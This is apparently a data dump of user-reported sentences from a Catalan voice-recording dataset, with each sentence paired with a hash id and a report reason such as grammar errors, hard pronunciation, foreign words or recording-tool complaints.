cabells. 9467be28a136dc74936ece55381aa7f76398e1acda94ec865f3bb8961d91c15c ca grammar-or-spelling Havia de tenir el seu tall de cabells. 9467be28a136dc74936ece55381aa7f76398e1acda94ec865f3bb8961d91c15c ca Error gramatical Les dues opcions podrien ser aparellades amb qualsevol de les opcions de motor. 942cfd0c940116619a0867be2e68e09be214d303730dd47836e2ab8b2b87d903 ca No s'entén massa bé el significat de la frase Aquest exèrcit es va desplegar al llarg de la línia defensiva des de Napf fins a Rapperswil. 94152ac92bd624e687e2edbd9f5766a82da1b748aea50e163ba821db4d7cf60f ca difficult-pronounce Kenta va començar les sèries de prova a la gira "First Navigation", derrotant Juventud Guerrera. 93f7bdda7f8b731e230c6a0af140ca270e7ab2d31d6e58d4ff7d0336d23a0ebd ca difficult-pronounce Quina és la millor manera d'anar a Guils de Cerdanya sense agafar el cotxe? 94172d87e5880a22d0a94b3d18b9e910c221a7be0caae453b699e7dd5a739940 ca grammar-or-spelling Les primers classes es van impartir en edificis situats al centre d'Albany. 94b95e395e7139c78a5acb47ab266448f9044090112c009f2454d6d2ebd4cda2 ca grammar-or-spelling Les primers classes es van impartir en edificis situats al centre d'Albany. 94b95e395e7139c78a5acb47ab266448f9044090112c009f2454d6d2ebd4cda2 ca grammar-or-spelling El complexe també servir d'avançada, capella i magatzem. 94c3cc9c7f1a2b3b0651eaa2d7a41ae5988522a2b6d6ac11842cc67cd6e43a9c ca grammar-or-spelling Va viure durant a finals de l'època miocena a Àsia i el Caucas. 953c4824e58e4a2ab41908f7d3a5eec650ec26376f0adf5b360406960b913195 ca grammar-or-spelling Alguns homes negres van ser admesos a l'exèrcit. 95a91023fc7806c312e8c20f085faff8d6f3b8da6bc4c0c1675d1ed2087afecc ca No entec res, parlo sempre està a l'1 Participa en diverses Juntes, inclosa la de Gildan Activewear. 958eb4e0fedad0d890b3f0fc8b1bf54bc68d8d772fbfbd48cac0ef06fdfc8308 ca difficult-pronounce Va assistir a la Universitat Politècnica Ryerson de Toronto, però no s'hi va graduar. 95f2318a12294fb1c90311f33554bb0a4f73c647029b07cc0a42aa2feae4a9e9 ca difficult-pronounce Serveix al barri residencial de Pimpama a Gold Coast. 95c39de8a2561c96635aa696de395294862845ff58644fa603e86c1bc1bd1a73 ca difficult-pronounce Alhora m'adoní que ells es pensaven que llur talent poètic els feia superiors 974e322b902c49f98a2300cf503c7693107264c8826fb64098119fbdc5ca40cd ca Això no funciona Alguns de les seves obres més conegudes són "The Mitten", "The Hat" i "Gingerbread Baby". 9729ff10441cef869b5f79cf19eec7fc0b884df263968c235745e78f87e1c819 ca grammar-or-spelling Hi ha moltes versions diferents de Santa Claus, incloent-hi el Fathe Christmas a Anglaterra. 974c2fe6b25e42105c34666f0492c7822ffe92260c86e4c9849ea4a77a4cd7fe ca grammar-or-spelling M'agradaria anar a l'avinguda de Puig de Jorba amb cotxe. 97b316d8f117036a1e8efea0b260221978189e8deb4f0b6bcefb8f345f53797c ca No sé què he de fer quan acabo de gravar una frase. No em passa a la següent ni es torna a posar la icona del micro. Tampoc veig que s'hagi gravat la meva veu enlloc. Apunta a l'agenda el número del Siraj Amaya: sis, cinquanta-quatre, vuitanta-set, vint-i-quatre, trenta-sis. 97bc46826d3a07dc28914ff7e668ae9a100bf1aee4335c7cdb81ac3b27ea54ad ca No ho acabo d’entendre Fiske era professor de llengües del nord d'Europa i bibliotecari. 97ef7227b83ef4310672a7734806332b9c2be98573de0963ff9b26117b22e624 ca difficult-pronounce Un home jove s'arrepenja a un arbre a la gesta i llegeix un llibre 979a268c5448f255b800e491ad27e0b8549542a01227e6c52fdb9d281946029c ca grammar-or-spelling Durant el període intermedi, l'estació es va renovar. 987db29c4cfdf514aab5e3a5f6dd6436fd752c9ccaaf1f1e3343546f549e14ab ca No em grava els comentaris També és més emocionant que moltes noves sèries d'hores d'aquesta tardor. 9890ddf86917fde52014921a3e5f57040380d0b4322f91524760174974c17b35 ca No acaba de tenir sentit L'empresa va a mal, cada dia té més pèrdues. 98b12a694bbec32247d34932e1692629f8cd18f53a3ae6d954a7882e1658aa75 ca grammar-or-spelling el vint-i-tres de maig hauria d'anar a Sant Antoni de Vilamajor. 994c8d1c57b7d9c85396125f2d2e521b19735c68bc6723b125147d89e5352a2a ca grammar-or-spelling Poulenc li va anomenar "el meu germà en esperit". 99589ce9841ffd994622b2d331c2dea8fb62e3034830e90ad6885c2b0e3000fe ca grammar-or-spelling Li van donar una mirada, una mala mirada. 9a26c59828809ea0af9caa58e342f1f7144566407249da63155916613e21d7d6 ca grammar-or-spelling Tothom se seia al seient normal quan tot l"escenari era visible. 9a32c7a0c5317d5584c491242118394c81b046860b29a1b3e680c3cb89cd59dd ca grammar-or-spelling "Petrosaurus mearnsi" és un llangardaix que té un cos extremadament pla. 99d68509e3b0693df57d2018aa54b4d737d2eb63bc773ebfc6cdbed9683b90c2 ca No se'm permet donar permis per accedir al microfon Un grup de persones donant cosses a una gran pilota vermella. 9a0679508f2f53e534ea74b2f15f970191d1ed428352fb9cb15c91e489c98883 ca grammar-or-spelling Això vol dir que el codi de client no necessita saber sobre el codi d'injecció. 9a12970205ee2644addfbb55b53774014efadb6a303183e7a7ffb6a269adac2a ca grammar-or-spelling No sé on cau Benillup. 9a9ac5b3eae7b4b5393c9bd1223063f3585f2602facf8d3011ef5778897e2773 ca Sense dificutad. Gattegno va nomena a les regletes "regletes de Cuisenaire" i va començar a provar-les i a popularitzar-les. 9a6268619ea0ff609bd3a27a240169d01d559f1705bf9979cbd4404541e39527 ca grammar-or-spelling L'economia de Wann ara depèn de l'agricultura i la ramaderia locals. 9a711e0f3a2e5352ed5003d88c9845a7bbd3d76502aa727db593f92c107efc00 ca Correcte La península del sud de la ciutat té restes d"un bosc medieval. 9a803bcce78c742966eb06f0abb84cf6c324d53ca5522c97305d58db6ebf77d9 ca Correcte Els pulluvar de Kerala estan estretament relacionats amb el culte a la serp. 9a0aba6634ba7478ea074937d530add13b7eca6cd6e7357188791cec3d91fa58 ca grammar-or-spelling Això és especialment comú en els quartets barbershop i els quartets de gòspel. 9a868244bf21f758a97e0a51d322950e26a43652f82b97fae8d7b1cd006c381e ca Correcte Bougainville té un dels dipòsits de coure més grans del món. 9a9f6616718f97546a394194ceb4d1e8a07c1fde9a99e4a6f98e07540ebeff92 ca difficult-pronounce Sherman és el vicepresident que ha mort al càrrec més recent. 9aa3d21eedc4ee9131f1f82cd68b0cbb896e10ac68ba2c39ce3bfd421ef289e8 ca grammar-or-spelling La península del sud de la ciutat té restes d"un bosc medieval. 9a803bcce78c742966eb06f0abb84cf6c324d53ca5522c97305d58db6ebf77d9 ca grammar-or-spelling Olsen Express i Naviera Armas. 9a7256942451f644ea72863e21a477289efba31bc2acda5cf49937d39eff21c1 ca different-language Wallace va acompanyar Gorman en la seva recerca i els homes van crea Ets Dave Gorman? 9a6ea5d79718436dab4aa2dd0824bdef63a9b7b0f57803ca3944577b5c1ee650 ca grammar-or-spelling Simultàniament va sorgit un nou mercat: les centrals nuclears comercials. 9af9d00cf5fda3036db08c04e8e5750d4f2dcf7beb3782cc7494cd8da1304bf1 ca grammar-or-spelling Com ho faig per anar a la platja de la Mar Bella número vint-i-sis? 9c1720dbf973d22a4779b45e3f5e3a383bbf93c41808da76df0498456caf7774 ca No hi veig problema Els museu està dedicat a la cristalleria i a la gent que va treballar a Imperial. 997b9f4dbc8fe0a6c175e41088253f3ad936dc849e429b25dd7ac9a0b2a95404 ca grammar-or-spelling Quantes parades té el trajecte en autobús fins a Vilanova del Camí? 9bfe177066bd220b2724069ffa7a99cba2293f2371441ed55ebbbee5bdd395d8 ca grammar-or-spelling A la ciutat hi ha Rockhopper Exploration i Naim Audio fabriquen equips d'alta fidelitat. 9bbd1a881c357db8b2161ed8038a9748c3150c760e379329de34cba7749821ab ca grammar-or-spelling En Brill va néixer a Chester, Pennsilvània, filla de Linette i Joseph M. Brill. 9bf15b3c04f3a80e1d09f703e7af8ffc4333bb08767cb2731ed3a2a3b39ac8ef ca grammar-or-spelling Aquesta adhesiu es coneix habitualment com "adhesiu de Monroney". 9782ca0ad6ed26f7303fa6af092f1f54225601226eb905835114a6605362985b ca grammar-or-spelling Al cap d'un temps, va ser líder dels Jayhawkers. 9c33abc0d75f4c939f60a7f176f83834ea12b956ec578d68fdab997bf9827b81 ca difficult-pronounce En el mil·lenni, van actuar a la ciutat de Nova York amb Paul MacCartney. 9c2b8b4296bec11b98c1d81971cc887438853c6bdfaacdac7318bac14694387b ca difficult-pronounce Part de l'antic districte urbà de Reditch no té districte. 9c75eba7b77284045f929568f78e05ccb02506b12ff7c98edab49658981761dc ca difficult-pronounce La investigació ha confirma que aquesta forma de pràctica beneficia algunes funcions cognitives. 9c67003ea00250ad66ca0f5aed8ff58145130acd00bf577cbe2f6c853fca4eb4 ca grammar-or-spelling Les rutes est-oest solen ser fins i tot numerades, les rutes nord-sud solen ser numeren senars. 9c96725f4e423402256671df2dbe50f670b4936676f6cae9302852d1525737fa ca grammar-or-spelling M'agradaria anar a la plaça d'Ernest Lluch i Martín amb trasport públic. 9c502dc212b1393cc7c22fce7e0c7e62fa1052180b98c8c8464642fdf8e69f47 ca Tinc problemes amb el volum El turbocompressor comú dels motors de gasolina o dièsel també és derivat de la turbina. 9dc6f493fd8b144fb6f8d417846e86f28e2d5a061d3236734f38e7162722dcb0 ca Problemes amb el volum.? La calaverita es pot dissoldre en àcid sulfúric concentrat. 9df421286104e66fd12d9ff60d5ab38d94a25f2a858962c2e9e3f74caa60ae3b ca La calaverita no és coneguda fora de cercles especialitzats En els jocs de dos participants, cada jugador agafa dos colors. 9dcdc99c7c78c6f57d7bd825d0c3a44050a3efe21db9ffe7a0624c65e060e37e ca Em diu constantment que el volum de l'enregistrement és massa baix i tinc el volum al màxim. Hi ha algun lampista al carrer de Bosch i Alsina? 9db85ba2224ca269178875572859147367a7d4e9e736b35257c5f32a8d280c8f ca Mots catalans pensàvem que lampista era una paraula castellana, quan sembla ser que també es catalana Una dona amb la cara pintada sosté un ventilador al davant de la seva cara. 9ddc5fe0a09fcae6824d0e60391075ece242eb4a66268591fb05fcc192c0add6 ca Res a dir Watson es va oposar a les retallades 'impostos de Bush, dient que eren inassequibles. 9dbc62ac78f56bc158d7f62539b527bac9945c6936d62f6eec821dfd4fb8b1f4 ca grammar-or-spelling Què exposa la presentació per separat? 9ecc3d1bc191970d4cc4fa3a10f8dd013ef1b73fe71e62afc70888423ee179ab ca Tinc un volum baix d'enregistrament. Com puc millorar-ho? Contràriament, l'esquema d'adreces en dos parts va ser implementada pel maquinari. 9f47479e2b9907fdbae2cbc104097439f788b014bf488890570365fba0ec13ce ca grammar-or-spelling Un sí ni molt baix ni molt alt, un sí bemoll 9f905aed364e344cece675ab4d550b9eaf7711996e1370eda08bf728fc3784c8 ca grammar-or-spelling El meu número es el sis, setanta-dos, cinquanta-dos, setanta-vuit, seixanta-dos. 9f9b890b83e361c9818f0c69d48f3d24b12719f9ec0ca67522767911e6357631 ca grammar-or-spelling A quin bosc es va troba el jaciment arqueològic? 9f81592b8c70c9bfd960eb15eb3ca1a2f62d75079f0057b873879cd754484f3f ca grammar-or-spelling El teatre està tancat per renovacions, però tornara a obrir-se el dos mil dinou. a03edc0725dfc7b562e3f6da91d1cc2240f39e134069779df3ef896c9d43c6c6 ca grammar-or-spelling El teatre està tancat per renovacions, però tornara a obrir-se el dos mil dinou. a03edc0725dfc7b562e3f6da91d1cc2240f39e134069779df3ef896c9d43c6c6 ca grammar-or-spelling Quina biografia que li estant fabricant al nostre amic pèl-roig! a09fa51a4cdcc68e2514978284a734a1f8bc1799df0b8974a569b960ceb433ff ca grammar-or-spelling Es pesquen al mar d'Azov, el nord-oest del mar Negre i el mar Caspi. a0b1694f2e0129aa7fda677040920c4dcd046f1e22d5a3914b35ba8501c8aff2 ca grammar-or-spelling El seu rostre no hi havia cap rastre de por. a103d6edbb1c0544afcdc3e2b3e7ca3a2fefee59e37f531c5bfe23e3a354854a ca grammar-or-spelling Katrina Baker és la organitzadora nacional de Drinking Liberally. a0b362cc75c6d7ff48d46e6b113e9d3a0ba24927d13c03465613ef8342cf415a ca different-language Investiguen el lloc de l'accident i decideixen contactar els altres membre de la colla de l'Scooby. a13a22425a450a3e94ab51c94984758390304b821961886e9d6e98d969f1cf05 ca grammar-or-spelling Jeremy decideix anar amb Worf. a1786eb2e5c30cbe16b5b48fc17a6320f8f12d7eece97153fabbe2466917c0bf ca grammar-or-spelling Quin és el camí més curt per anar a la plaça d'Emili Vilanova número vint-i-vuit? a1800ca28d4fe24ad4510068cf07c01aabaeac836eaf5c5a74c2d2713e4b014f ca difficult-pronounce Alguns estaven preocupats que Fannie no tenia prou capital i podria fer fallida. a1544c8682bc4901507fb7bcb194c387db43fe804b7ce668a9f24de1b71f3275 ca grammar-or-spelling El nom és Yasser: i grega, a, essa, essa, e, erra. a1875faf8be2dc5acbac87d05c136e8c852aba4e52742758f09692d115d5698b ca grammar-or-spelling Durant la Guerra Civil dels Estats Units, milers d'esclaus van escapar a línies britàniques. a15569bf6ce857041fa498e3c021ac1241160253bd6f635ffbda889438debdf5 ca grammar-or-spelling A menjar plats fondos de sopes, am l'alè ben determinat a162a9939e6236d50856a4d882b2e5a3873dab6a439e758ed94c6c9311f3e018 ca grammar-or-spelling Les escoles de Dhahran utilitzen un currículum basat en els Estats Units. a26d910d5dcc10182082f90699f4aad16a5342a74a4d236f2b447289d41106c6 ca different-language Comencen a construir una nova ciutat, Nauvoo, Illinois. a267b40cd27a604df2358410df1b53e8322b205f273257af723687f535c5106a ca different-language La fortuna, sia bona o dolenta. a25060f7c7eff994252b5b764baacf72852698fce5f6df1bfa41b8d218161242 ca grammar-or-spelling Taylor també va tocar amb Duran Duran a un concert de Live Aid. a269c4afd652e5c8504ae0d2db4a9257a621edfd484e92c6ea498c5a9c62026e ca different-language Entre els convidats a la cerimònia hi havia les seves filles, Lucy Fleming i Kate Grimond. a1c2c825ff266d9aa6ae6df0b1a38f6367dde1a28ed8657773cd3025cfd5d978 ca different-language Potser és preferible una línia més al sud que segueix Beckstones Gill. a2685d73b7b8d040acefa5eb0ab6f4556bd4ecabcde6d4242a0978b74f35a893 ca different-language Selly Farm estava a la cantonada de Warwards Lane i Saint Stephen's Road. a21fde13ce4998df0f6b14c01ef50bfa174fddf23e8c0772b1e4017055e0b0b2 ca different-language Altres partits es van jugar al R. Premadasa Stadium. a258598a71c3edc5a730f3a87daad47774e71784590bc923a052f1ab15873f91 ca different-language Metralladora Coffee Mill Gun de Mill. a28e60572338bb820f1391c212ae530f811c7cfa94183f8703cd65d8eaf7bb55 ca different-language Celsing ha estat l'ajudant del conegut arquitecte suec Sigurd Lewerentz. a268414c24eba28f4799cf8493ba7bcf28ae9336a5b15388e5a9a5b36a3ea992 ca different-language Als crèdits surt: Lletra - Joe Darion, Música - George Kleinsinger. a252c6530ce8c2aa449eb20008901c505e17e97dfaf10925c49a873ef17acb28 ca different-language L'església parroquial de Mollington es troba al poble veí de Backford. a294667d02703a086687550f2d745dd4f13ae67e85c0d76c570930f797270e51 ca different-language La cançó temàtica va ser Pleasant Valley Sunday, que es va fer famosa pels The Monkees. a1efc0b17edd652781fe6988f8e05f80730d93a5bdcbe37fe0e87139336d54fe ca different-language Finalment, va anar a un nouvingut Amitabh Bachchan i va establir la seva carrera professional. a2582b5541428b35c3ed84c0751016b23523ad2825e9ee5ede4e909afac84a94 ca different-language Més endavant, Douglas es va incorporar a la facultat de Yale Law School. a2483a4ba4c1b11404a01335b5ce9f4710d91cf35e02c4974f8d0d73a37cb167 ca different-language reserva per a Melisa Castillo i Vicky Allen a Sadorus Montana a2736d1de56f4577200fdf1ca992d338d7fbe0d6d1c2deac12a93ba6f8ed8c13 ca different-language Que hi ha res tant bo com la viram? a289aa6f744252568658ea3823ad916b533f54f67fd8a0d5eead2cabff95ae9d ca grammar-or-spelling Khazzoom apareix en el documental "Young, Jewish, and Left". a23e5bfaa7d3083b07d3e77f3d523997c66632a924841623c5d1250f028695da ca different-language L"origen familiar de"n Godred Crovan es desconeix. a27c72b788702ea658b110e8edae2a24ef66dda550f06b30be36aa64b317f27f ca different-language Battin va gravar a Indigo Records, May Records, Groove Records, Audicon Records i Signpost Records. a2577e86c1a05b65c7736ac50d82d909b2b80ebca6d88ce35b44832579c9fdff ca different-language L'escola preparatòria està situada a Fir Road, Rondebosch, a prop del campus universitari. a1de9b9792323d9c175767626722ff77e22a1ad321035a22eeac5214c6f115e0 ca different-language El West-Veluws també està més influenciat pel neerlandès. a2aa33e5a676dc72a6124e26f07b2cc5c2de893190a6cd0989ead7798d185707 ca different-language El procés S-I és un motor de calor químic. a28169622d13ef0b1002e2d4a5da25ddc94efac5b04e5abdd30aa150c4575bad ca grammar-or-spelling Durant anys va ser la seu d'una de les principals ocupadores de Conring Glass Companies. a25b75328796d615f2be76931be1cad669974f63c9a90c275e5d9474c962100c ca different-language Comparades amb altres versions de QuickBooks, hi ha menys extensions de tercers que s'integrin amb QuickBooks Online Edition. a2b256c507c949f04266ac8358415f144ad8dfd5a9310a7f7292499b45562299 ca different-language Camino Project, una organització comunitària, va desenvolupar l'explorador. a2bb7c60216104440baacf7e9f2fbb8f4f8463706dc73368ecebd6127fb497f4 ca different-language El mateix Don Everly va regalar la guitarra a Lee. a2b6f38d08e484f76bb3c656465c4f768cc1c1a27f07637da0b2c44be7c7a35c ca different-language Finalment els van portar a Marine World California. a2ac29e4d7ee1b47c8b1428f81aade6e687a0b87f5dab621abe0f8b93b7d0a28 ca different-language Després van viatjar al "Coconut Grove", el planeta de naixement de l'alienígena Ariel. a29b9693edad4a0b624332700f8d54210b94e3b2e4f997aca25da2e49afa335f ca different-language Precisament al sud hi ha Waterman, amb Neujmin al sud-sud-oest. a27a4daedc5f2ee643d016d00dbc5ce330ac10d1c65e7b5c67841c1274485090 ca different-language Abans de ser model, Walsh va treballar a Burger King i Dairy Queen. a2b42a0cc4605eeba3686d23a782f6b871b6f5d8432f3bbcd66c83e6d958a207 ca different-language Simon Doc Octopus Milton tocava la guitarra a l'àlbum The Lord Of The Flies. a2992467e1b0c9ec3539ac51dfafedbf9871d829f572eb2e6822efbf6c13006d ca different-language Quina botiga hi ha als jardins de Manuel J. Arnalot número noranta-sis? a2c4808d1ef3c09dfd182f78cc72a29cf23f088d2cdfdcc40c3cf7245082a45e ca grammar-or-spelling En comparació amb el backgammon estàndard, l'"acey-deucey" és més com una cursa que un joc d'estratègia. a2c86b88ed31e297728438cd3e4c84af9f908d64926d8b660754c0d7af1ed067 ca different-language Va ser la suplent de Natalie Portman en la producció de Central Park "The Seagull". a2a3f1607151a378cd8dafc4bd3f9dee005c42a1d56591ab0d974ea8abb9ce0c ca different-language StarTran, un sistema d'autobús públic, funciona a Lincoln. a2a52087aaa6ca36200ce8c0ae45a85569ad337a3c22ad817e99d3658d721067 ca different-language "Hand of Kindness" és un viatge diferent dels àlbums que l'han precedit. a2186f5e96a857320e3caa2c10a3cd44b97ced20cbbe0069e1c255e6f58f92b4 ca different-language Albrecht va renunciar i va demandar Glieberman i els Pirates. a2daad0387112272e33a4ba86c611d08304d694a9d8fccecc086d805d97043fb ca different-language La segona novel·la "Eine dunkle Tat" incloïa personatges que es pareixien a ell mateix i a Droste. a2c40406c2e864fc9ecdf4dab377d79e8645b2dd1c1109d86587992033da6e22 ca different-language Això va fer possible el desenvolupament d'Altadena, Pasadena i South Pasadena. a2b65742444485b4ac53d224f89ddc12bc50e9c4568027cbbe8803de0aa341c3 ca different-language Està situat a Lime Street, al districte financer de la City de Londres. a2afc1d9281e03d7b195b5500b66c3e0865fb6cf95adb2e7e4f38da174ae4e38 ca different-language A Austràlia, Arnott's Biscuits Holdings encara és titular d'una marca registrada amb el nom "Saltine". a2c7c7117f3931754b26b5e8e22e82333bae11c6e56006d53536dec94a81c2df ca different-language Patrick Peter de Agence Peter és l'organitzador. a2d8672b7db476c8fc5fb011280f465e89ed50cb346e1e1d2b50fb4c616bc354 ca different-language Insight Guides combina la fotografia en color amb assajos escrits per experts locals. a242c5cdf643b88202e85033d869edadde2c79ee4c66fd59890a4588e6fdcc56 ca different-language El capellà honorari a càrrec és el reverend Karen Burnett-Hall. a29f020b80022440b8a013e0bdd7d7f14379c5bb1e42a0b1e9a190587f806a20 ca different-language Va seguir amb un paper principal en una altra comèdia, "Three Up, Two Down". a2deaa99ac4ec26926b6efdce03f28f5d670ca2bb850f2fe7ec63c1fa59f5f30 ca different-language El que s'ha anomenat "treball zero" continua sent controvertit no es va trobar cap culpa.entre l'esquerra i els anarquistes. a2c9b9ebcb9f84a54efe87f6ef3af1754b8dfa2fdf64ffc25192ec6e2ac91487 ca grammar-or-spelling Mentrestant, l"aixecament dels hutu va ser sufocat per les forces de Micombero. a3455be0a2b97fb7f7453c631849a6a20ae72b7aa5717408e3155b908cb6e4fe ca grammar-or-spelling Un grup d'infants en edat escolar seuen en un bosc i prenen notes metre alguns adults observen. a37340f4240605d2eca198c08675e8720296f74bd9832e872c6d05ef1f8b5431 ca grammar-or-spelling Es troba al sud-est de Redearth Creek i directament a l'oest de l'autopista Trans-Canada. a3f93e75adb390c1eb74f2fbf62710591dbf66c95a26ba0ef83ed47b1084d564 ca grammar-or-spelling "Son refugiats de les guerres tribals i necessitem diners", digué l'altre individu. a487958366faa25d30a73a3663e7e7911631361844bbec81da1b2b51927f8c9a ca grammar-or-spelling Va proposar que el noi mirés al volant del palau i tornés en dues hores. a49823af71df00c9077a9e9381145ff875c3aa5e346be0e6dff3c833ab309a38 ca grammar-or-spelling Va ser el primer el primer antibiòtic de la classe dels carbapenems. a455e3cfc628c14f6453786a6d4d17e13a773724c28ecec687659a4d33945f53 ca grammar-or-spelling Va passar dels sirs d'Avesnes als comptes de Sain Pol. a474a6b6209db9e1aef75264cb86c8a50537fafcb68f9758bffd3da6148f6fcd ca grammar-or-spelling Preo un joc d'exhibició suggerit per a Roma no es va materialitzar. a43fe638d0f3e9d59e91cd8af50437e5c4a496a63b34c8adeaec83a508c69aa4 ca grammar-or-spelling A més, alliberar adolescents i derrotar els teus enemics dona punts al jugadors. a49e0050caa91689ed9b0da051b2fa8ab587089f9e185fa1bc0491b3727e5edf ca grammar-or-spelling Una dona amb camisa blava i mocador al cap posa per a una foto assegura en una taula de pícnic. a4ff117c04543b2bb8bbdda492c25bbf12532a9b613e405ffe0467ba51b0214c ca grammar-or-spelling Més tard va estar en l'elenc de "Loving", d'Agnes Nixon. a4b29a185c1fbd89798a70f6ec3bbd6b71669dd085107e82555b6c5a86c33672 ca difficult-pronounce Més tard va engrandir la propietat familiar, incloent-hi la senyoria de Kemys. a4ff8ab9d03e7c29eea9c0136c2e2d602a3a0b26777e667557e4e972165318c9 ca difficult-pronounce És per això que l'edició sueca porta el nom de Computer Sweden. a55ec90a36b9ac1b7def98b5d75dca0d8598a637c9fe2d6e1814348d992bff1e ca offensive-language És per això que l'edició sueca porta el nom de Computer Sweden. a55ec90a36b9ac1b7def98b5d75dca0d8598a637c9fe2d6e1814348d992bff1e ca grammar-or-spelling El meu número es el sis, cinquanta, onze, cinquanta-set, vint-i-cinc. a621a8cda52cee727e92880d6e0b86f52064541d11ae8de853c06d0a3bb40421 ca grammar-or-spelling Quina botiga hi ha a la jardins de Maria Soteras Mauri número seixanta-set? a5da72a1fd8e341bcfd02f85b548b5c2c9cc56d3eed78c1a0d2be6e516754648 ca grammar-or-spelling Hi ha moltes representació en línia de Suliko. a638d2f731794195b4f176f5136770edcaaa4e498df4d4ca70b071d7bb14b9b5 ca grammar-or-spelling En el darrers anys, s'ha restaurant la façana de l'estructura, segons la seva aparença original d'estil art-déco. a62760d040239866300c2b9a453b7a4ca3360053a0d2b53de3b33d3e9420d157 ca grammar-or-spelling L'Erith and Belvedere Football Club es va traslladar recentment a Welling amb un acord d'intercanvi de terrenys. a718b2811f66074991bcf9188f0f67efc16d68dda6c6f03d1d6b19b28ab2d742 ca different-language L'Erith and Belvedere Football Club es va traslladar recentment a Welling amb un acord d'intercanvi de terrenys. a718b2811f66074991bcf9188f0f67efc16d68dda6c6f03d1d6b19b28ab2d742 ca difficult-pronounce Les carnets professionals intel·ligents estan escrits en xinès i en anglès. a73488b8ffaeebe569b461367829aaea651751c01974a21f6bf1fdce34f212f5 ca grammar-or-spelling És bo encontrar-te algú per parlar, de vegades. a7812d4eeb96e5e216a4a36389122891feddb9512e47d47c2fc3ce1fb47d3216 ca grammar-or-spelling Friends' Central té uns programes molt sòlids de basquetbol i lluita. a766999bc5392f0a7844ef6e0a3184d982700babbc14efda4e868ae48daf4d0e ca grammar-or-spelling La seva línia dura va fer molts enemics influents, i la seva popularitat es va caure en picat. a7894a58ac0eb2a32c1410bea13efb088e88d46cafec0c759e331a4393a5dd3b ca grammar-or-spelling El Consell va ordenar als regidors de Guilford que els defensessin. a7637ca6c1844ed1e2275313346a8d060aac48c099647d8ed704295d70ae3cdb ca No s’entén el missatge Hi han normes que dictaminen els graus mínims per als diferents oficials i els seus substituts. a7a4930877d842b227dbc39ae9df34bd1642e3f7b2da9e4447747ec09166efc6 ca grammar-or-spelling Està de bon humor. a777cfb33c2b1a6b9806d04c179d09cb54c557ba8e7e1edf33ea6064c091720b ca De sobte, indica que el volum és masa baix i no agafa l'audio, tot i funcionar amb la resta. No tinguis pietat, no et farà mal. a8273ce4eb7e83f7ca1a256474fed4ea08d64ded3e35cbdd762b4ef3b77772dd ca offensive-language Va ser una de les seves últimes aparicions públiques abans del seu assassinat a Dallas, Texas. a82f4fe095bafc0472d90fe29675687f8b72f2da9f590e34b1070f2d68515dd7 ca grammar-or-spelling Un actor del Cirque de Solei mostra la seva impressionant força i equilibri. a81c0b43501c1a26aa9c613ca36ff4193a1a748ba048e56ac4705927636511b9 ca difficult-pronounce Podria dir-me el contingut de la comanda? a840e52dce65acbf95a9240c3c8ca60def8616ab8b19303269ed0d1f857cc998 ca grammar-or-spelling A l'igual que Krim, amb el qual està estretament relacionat, Bom és una llengua pròpia del nord de Bullom. a7cada0e8e8f84a7ac749ead29d85993fd4fc30da8d39939de1d055607443d06 ca different-language Triolet i Aragon van lluitar en la Resistència Francesa. a82b2596d00f8a45b47155a842842790558a635f79343c1b7c1cf967e690e061 ca grammar-or-spelling Com que la tecnologia va millorar i els motors es van fer més grans, les plataformes es van fer més llargs. a8112f4cc5fcc02da08a0f098cc3b32e7465d3a54eb228ebcbe7f53f697fd669 ca grammar-or-spelling El "Sydney Morning Herald" va descriure el pagament com un "suborn" i un "deshonestedat política". a80ab800d5f8b984495f74c9f27fdccf89768a42bc1c045a2fc0dfe774de231d ca grammar-or-spelling Dos anys més tard, Marie L. Wadley es va convertir en la primera presidents del museu. a85ce26ba1ce0b18c318afd98aff191938b7f813a739d74f125eaf5a5034ab5b ca grammar-or-spelling Els marins es guien per l'estel polar. a769e63dd8a8dede7b62d8db0bb397c7e3c843efb2d9f5c7617d46276452957f ca No puc accedir a l'altaveu. El tribunal va decidir que hi havia una garantia implícita. aa06d19832a6b98fffc3a0120e521ebc98d66529737e40f042d9d61af910b0e6 ca difficult-pronounce Té una casa a Sant Miquel de les Salines. aa552e928605e3ae0104cde55a614f96381c33adbcabd82e5cfa8bf3e0e86ea1 ca No hi veig cap problema Qui va impartir les lliçons sobre física teòrica a Berlín? aa7d63cfa2576329589e619d0ae2dfe5f58935caff17c342fe3abefa7532a778 ca Cap problema Un component de la nova concepció de l'art és l'espontaneïtat. aa5b61ac5d88688ca40ec7a23c49d9f1124f91f4d1f8e9cb1c220b5685dae87b ca Cap problema La meva cosina viu a Ciutadella de Menorca. aa212e5cb08a1f7ed1533d604036655baae13b7da86ecc413f64f100e882524f ca Cap problema Quant dura el trajecte en autobús fins a Vila-sana? a9d648b1a07a2d103ecd897a965679b6003f8dfe033dc4c0ed18cdcc274fd4b5 ca Cap problema Guarda el set, quaranta-vuit, setanta-u, setanta-quatre, onze com a telèfon de l'Alberto Asenjo. aa7c5b9c399bb444e14589e7eb7db01dcd3ec45f609de7ccf1c1322657e757f0 ca Capproblema Apunta a l'agenda el número del Caleb Aguila: sis, zero, tres, zero, u, quaranta-cinc, zero, vuit. aa6a70a4e8f7d12309ec911b8833d03f529a53dab002215bdb2e9fd2f0aab7d0 ca Em sembla que cap problema. La fonètica del nom..... És a les aurícules. aa2a6f5c6ab8c20d4011b0f42aef053ab69f35d7f6bb0574b25ffd626188a423 ca Cap problema El parlen amb més freqüència els majors. aa83b343828fb0991b7c90b4dde10fb94fc13863bafce3424bdd50a99c90171e ca cap problema Sovint en tots aquests esdeveniments si llegeix el missatge de la reina pel Dia de la Commonwealth. aa4934ceb42ba794df05361018f2917ab9e3fc0ad352f014fea87a76fb6e8de7 ca La pronunciació..... Desa el sis, quaranta-cinc, noranta, vuitanta-nou, cinquanta-set com a telèfon de la Carolina Wu. aa2565c1c9c6c4ca4042cf5c16eadf5092e187022d29cb0cdb184a4220690181 ca Espero que be..... La meva filla es diu Beth: be, e, te, hac. a9fa1f1a1f122a4ce9013bf56535a3da4014ccbfd759fd50cff697b9ce59fdf5 ca cap problema Mira'm quina és la millor manera d'anar a Calders amb autobús. aa453bef33432cd33160325397a2b5d4ebb988defdcf71eeb97dd8b7a9f84d47 ca Cap problema Posteriorment, els luterans d'Alemanya es van establir aquí com havien fet alguns mennonites de Waterloo Township. aa31bd687e7f1c2fe9a1c7f9df12421213419431e79c29fd2aeec4a0d9a8f6a7 ca cap problema El nen va anar de quatre grapes fins a la densa gespa. aa80787ad2b2aaa5a4174ce1a897985db463d84543e0b6871506b306c10ebf9e ca Res Demà passat anirem a Formentera del Segura amb cotxe. aa4e05c014bc217744d88ba0873ea40207a6e978115b91e45ad347bbd3284df7 ca res 